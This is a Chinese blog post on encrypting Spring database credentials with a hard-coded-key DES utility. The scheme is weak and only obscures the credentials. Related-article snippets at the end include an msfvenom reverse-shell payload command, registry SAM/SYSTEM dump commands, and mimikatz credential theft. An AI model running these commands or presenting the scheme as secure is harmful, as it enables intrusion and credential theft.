加密连接数据库明文密码

article/2025/11/5 10:56:16

我的其他笔记有记录过加密算法,这里不一一阐述,用DES对MySQL用户名和密码加密,然后在spring-dao.xml中配置中解密,需要新建一个解密类注册到xml中。

解密类:

package com.mlr.util;import org.springframework.beans.factory.config.PropertyPlaceholderConfigurer;public class EncryptPropertyPlaceholderConfigurer extends PropertyPlaceholderConfigurer {// 需要加密的字段数组private String[] encryptPropNames = { "jdbc.username", "jdbc.password" };/*** 对关键的属性进行转换*/@Overrideprotected String convertProperty(String propertyName, String propertyValue) {if (isEncryptProp(propertyName)) {// 对已加密的字段进行解密工作String decryptValue = DESUtil.getDecryptString(propertyValue);return decryptValue;} else {return propertyValue;}}/*** 该属性是否已加密* * @param propertyName* @return*/private boolean isEncryptProp(String propertyName) {// 若等于需要加密的field,则进行加密for (String encryptpropertyName : encryptPropNames) {if (encryptpropertyName.equals(propertyName))return true;}return false;}
}

加密类:

package com.mlr.util;import java.security.Key;
import java.security.SecureRandom;import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;/*** DES是一种对称加密算法,所谓对称加密算法即:加密和解密使用相同密钥的算法。* * @author xiangze**/
public class DESUtil {private static Key key;// 设置密钥keyprivate static String KEY_STR = "myKey";private static String CHARSETNAME = "UTF-8";private static String ALGORITHM = "DES";static {try {// 生成DES算法对象KeyGenerator generator = KeyGenerator.getInstance(ALGORITHM);// 运用SHA1安全策略SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");// 设置上密钥种子secureRandom.setSeed(KEY_STR.getBytes());// 初始化基于SHA1的算法对象generator.init(secureRandom);// 生成密钥对象key = generator.generateKey();generator = null;} catch (Exception e) {throw new RuntimeException(e);}}/*** 获取加密后的信息* * @param str* @return*/public static String getEncryptString(String str) {// 基于BASE64编码,接收byte[]并转换成StringBASE64Encoder base64encoder = new BASE64Encoder();try {// 按UTF8编码byte[] bytes = str.getBytes(CHARSETNAME);// 获取加密对象Cipher cipher = Cipher.getInstance(ALGORITHM);// 初始化密码信息cipher.init(Cipher.ENCRYPT_MODE, key);// 加密byte[] doFinal = cipher.doFinal(bytes);// byte[]to encode好的String并返回return base64encoder.encode(doFinal);} catch (Exception e) {// TODO: handle exceptionthrow new RuntimeException(e);}}/*** 获取解密之后的信息* * @param str* @return*/public static String getDecryptString(String str) {// 基于BASE64编码,接收byte[]并转换成StringBASE64Decoder base64decoder = new BASE64Decoder();try {// 将字符串decode成byte[]byte[] bytes = base64decoder.decodeBuffer(str);// 获取解密对象Cipher cipher = Cipher.getInstance(ALGORITHM);// 初始化解密信息cipher.init(Cipher.DECRYPT_MODE, key);// 解密byte[] doFinal = cipher.doFinal(bytes);// 返回解密之后的信息return new String(doFinal, CHARSETNAME);} catch (Exception e) {// TODO: handle exceptionthrow new RuntimeException(e);}}public static void main(String[] args) {System.out.println(getEncryptString("123456"));}}

用加密类对账户和密码进行加密后,jdbc.properties中配置如下

jdbc.username=WnplV/ietfQ=
jdbc.password=QAHlVoUc49w=

然后spring-dao.xml中改变配置:

 <!-- 1.配置数据库相关参数properties的属性:${url} --><!--<context:property-placeholder location="classpath:jdbc.properties"/>--><bean class="com.mlr.util.EncryptPropertyPlaceholderConfigurer"><property name="locations"><list><value>classpath:jdbc.properties</value></list></property><property name="fileEncoding" value="UTF-8" /></bean>

最近在整理一些资源工具,放在网站分享 http://tools.maqway.com
欢迎关注公众号:麻雀唯伊 , 不定时更新资源文章,生活优惠,或许有你想看的

在这里插入图片描述


http://chatgpt.dhexx.cn/article/74MAIpVj.shtml

相关文章

Spring boot 配置文件明文密码加解密

jasypt 是一个简单易用的加密Java库,使用起来非常简单。 现在我们系统中的一些配置文件中密码还是暴露的,打开配置文件,就能看到密码,如图: 这情况我们如果不想让别人看到数据库密码,所以就要对数据库密码进行加解密 通过jasypt 就可以简单实现 使用方法: 以spring b…

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换 1.引入maven2.添加配置&#xff08;yml格式的&#xff1b;properties 和 yml 在线转换&#xff09;3.找到maven仓库下&#xff1a;org\jasypt\jasypt\1.9.3将内容进行加密4.常见问题及排查方法 1.引入maven…

在Win10系统中用mimikatz抓取明文密码

实验环境 &#xff1a;Windows10专业版 参考了网上的方法&#xff0c;发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章&#xff0c;都被转烂了&#xff0c;这一篇文章是对的&#xff0c;但是路径上还是有点小问题的&#xff0c;…

meterpreter下抓取windows系统明文密码实验

虚拟机&#xff1a;kali | Win7 工具&#xff1a;msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf&#xff0c;选择模块&#xff0c;配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密&#xff0c;造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存&#xff08;按altF9&#xff09; 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中&#xff0c;需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息&#xff0c;都需要保存在配置文件里&#xff0c;或者配置中心。 这些信息如果泄露&#xff0c;还是会造成一定的困扰&#xff0c;这里介绍2种处理方案&#xff1a; 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面&#xff1a; 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面&#xff1a; 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章&#xff0c;内容主要是在内网渗透中获得明文密码的两种方式。&#xff0c;在笔者看来&#xff0c;两…

Navicat导出链接查看数据库明文密码

测试环境&#xff1a;Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址&#xff1a;navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…

Windows10明文密码抓取

procdumpmimikatz获取win10用户明文密码 测试环境&#xff1a;Win10 企业版LTSC 1809 工具下载&#xff1a;k8版本的mz64.exe、procdumpv9.0 原理&#xff1a;获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 利用前提&#xff1a;拿到了admin…

开发反模式 - 明文密码

开发反模式 - 明文密码 一、目标&#xff1a;恢复或重置密码 每个有密码的程序都会碰到用户忘记密码的情况&#xff0c;现今大多数程序都通过E-mail的回馈机制让用户恢复或者重置密码。这个解决方案有一个前提&#xff0c;这个服务有一个前提&#xff0c;就是这个用户能够访问他…

MD5明文密码加密

MD5 一、加密缘由 首先看一下未使用MD5加密的数据库 这样的话如果黑客攻击数据库的时候得到数据库的资料&#xff08;主要密码&#xff09;就会导致用户的财产等受到危害&#xff0c;所以需要对密码进行加密操作 二、加密的算法MD5 2.1、运用了单向加密算法&#xff08;下…

Unity基础: 对Anchors锚点的使用

在UI对象上是用RectTransform组件来控制位置和大小的&#xff0c;在RectTransform中有一个Anchors属性。Anchors属性可以将当前对象的四个角锚点定位到父对象的某个位置&#xff0c;并且Anchor还允许子对象的宽高随着父对象的宽高一起拉伸。 上面一个示例中显示的就是将一个Ima…

(笔记)yolov5自适应anchors

训练一开始会先计算Best Possible Recall (BPR),当BPR < 0.98时&#xff0c;再在kmean_anchors函数中进行k 均值和遗传学习算法更新anchors。 情况一&#xff1a; 在进行yolov5训练的时候&#xff0c;会输出&#xff1a; Analyzing anchors... Best Possible Recall (BPR…

Roson讲Qt#16 QML中的anchors(锚)

QML中有一个数据类型叫Item&#xff0c;Item里面有很多属性&#xff0c;其中一个就是anchors. anchors翻译过来叫“锚”&#xff0c;锚可能不好理解&#xff0c;在我看来&#xff0c;可以把anchors当成是一个控件浓缩而成的一个点&#xff0c;可以通过设置点的上下左右等属性来…

Qml基于锚(anchors)的布局

锚(anchors)布局&#xff0c;每一个项目都可以认为有一组无形的锚线 left,horizontalCenter,right,top,verticalCenter,baseline和bottom. 如上图&#xff1a;图中没有显示baseline&#xff0c;它是一条假想的线&#xff0c;文本坐落在这条线上。对于没有文本的项目它与top相同…

RPN之生成anchors

看不懂anchor生成方法&#xff0c;就看不懂参数。 faster_rcnn的anchors生成 在这里我就不看faster_rcnn的anchors生成源代码了&#xff0c;我们用numpy自己去实现&#xff0c;在128*128大小的图片中生成anchors. 开始上代码 import numpy as np import matplotlib.pyplot …

Qml anchors锚点布局

关于qml的锚点布局的一些分享&#xff0c;并不能算是教学之类的。 锚点布局会自动设置宽度高度&#xff0c;并且优先级比 width height更高 import QtQuick 2.13 import QtQuick.Window 2.12 import QtQml 2.13Window {width: 640height: 480visible: truetitle: qsTr("a…

yolo_anchors.txt超参数值设置

keras-yolov3在训练自定义图片集之前&#xff0c;设置合理的yolo_anchors.txt值&#xff0c;有利于模型训练的收敛&#xff0c;一般都带有默认的参数如下&#xff1a; 在实际项目中&#xff0c;yolo_anchors的值可以根据kmeans.py计算获取&#xff0c;通过聚类得到最佳anchors数…

QML之anchors锚布局

QML的布局方式一般采用两种&#xff0c;一种就是直接设置&#xff0c;X与Y坐标的值。一种是采用相对位置布局&#xff0c;anchors锚布局。使用锚布局的能够使界面更紧凑&#xff0c;更有整体化。我个人相对比较喜欢使用锚布局&#xff0c;选取一个最合适的参考点&#xff0c;其…